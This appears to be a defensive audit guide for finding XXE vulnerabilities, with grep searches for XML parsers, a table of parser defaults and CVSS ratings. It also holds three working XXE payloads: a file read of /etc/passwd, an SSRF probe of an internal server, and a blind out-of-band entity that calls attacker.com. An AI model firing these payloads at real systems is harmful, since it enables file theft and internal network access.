xxe

XXE Detection

When to Use

Audit XML processing endpoints, SOAP services, document importers (DOCX/XLSX/SVG), and any code that parses XML from untrusted sources.

Key Distinction from Entity Expansion

• XXE = EXTERNAL entities (file://, http://) -- reads files or makes HTTP requests
• Entity expansion = INTERNAL entity recursion (Billion Laughs) -- memory exhaustion DoS

Both can exist in the same parser, but they are different vulnerabilities.

Process

Step 1: Find XML Parsers

# JavaScript
grep -rn "DOMParser\|XMLParser\|xml2js\|libxmljs\|xmldom\|sax\|saxes" .

# Python
grep -rn "xml\.etree\|lxml\|minidom\|xml\.sax\|defusedxml\|xmltodict" .

# Go
grep -rn "xml\.Decoder\|xml\.Unmarshal\|encoding/xml" .

# Java
grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|TransformerFactory\|SchemaFactory" .

# PHP
grep -rn "simplexml\|DOMDocument\|XMLReader\|xml_parse" .

# Ruby
grep -rn "Nokogiri\|REXML\|Ox\|LibXML" .

Step 2: Check External Entity Configuration

grep -rn "FEATURE_SECURE_PROCESSING\|FEATURE_EXTERNAL_ENTITIES\|FEATURE_GENERAL_ENTITIES" .
grep -rn "resolve_entities\|external_entities\|load_external\|noent\|nonet" .
grep -rn "disallow-doctype-decl\|external-general-entities\|external-parameter-entities" .
grep -rn "XXE\|external.*entity\|doctype" .

Step 3: Check Default Safety

Most modern parsers are SAFE by default. Key exceptions:

Parser	Default External Entities	Safe?
xml.etree (Python)	Enabled	UNSAFE
xml.sax (Python)	Enabled	UNSAFE
lxml (Python)	Disabled	SAFE
defusedxml (Python)	Disabled	SAFE
encoding/xml (Go)	No entity support	SAFE
Nokogiri (Ruby)	Disabled	SAFE
REXML (Ruby)	Enabled	UNSAFE
libxml2 (C)	Depends on flags	CHECK
Java DocumentBuilder	Enabled	UNSAFE
PHP simplexml	Depends on libxml2 config	CHECK
PHP DOMDocument	Depends on libxml2 config	CHECK

Step 4: Verify User Input Reaches Parser

Does untrusted XML reach the parser? Common sources:

• File upload (XML, SVG, DOCX, XLSX)
• API request body (Content-Type: application/xml)
• Webhook payloads
• RSS/Atom feed processing
• SOAP requests

XXE Payloads

File Read

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

SSRF

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/api/secret">
]>
<root>&xxe;</root>

Blind XXE (Out-of-Band)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<root>test</root>

CVSS Guidance

• File read (unauthenticated): HIGH 7.5
• SSRF via XXE: HIGH 7.5-8.6
• Blind XXE with OOB data exfiltration: HIGH 7.5
• Authenticated XXE: MEDIUM 6.5

References

• Sinks
• False Positive Indicators
• PoC Skeleton